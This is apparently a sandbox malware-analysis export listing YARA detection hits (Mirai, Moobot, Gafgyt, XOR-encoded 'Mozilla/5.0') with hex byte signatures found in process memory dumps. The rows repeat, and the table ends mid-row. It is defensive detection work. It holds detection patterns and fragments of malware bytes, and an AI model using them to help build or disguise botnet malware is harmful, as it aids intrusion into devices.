6556.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6266.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6569.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7167.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6768.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7363.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7233.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6242.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6874.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6874.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6874.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6874.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6874.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6874.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
7375.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7375.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
7375.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7375.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7375.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
7375.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6955.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6955.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6955.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6955.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6955.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6955.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6964.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6634.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6634.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6634.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6301.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6634.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6634.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6634.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6707.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6411.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6411.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6411.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6411.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6411.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 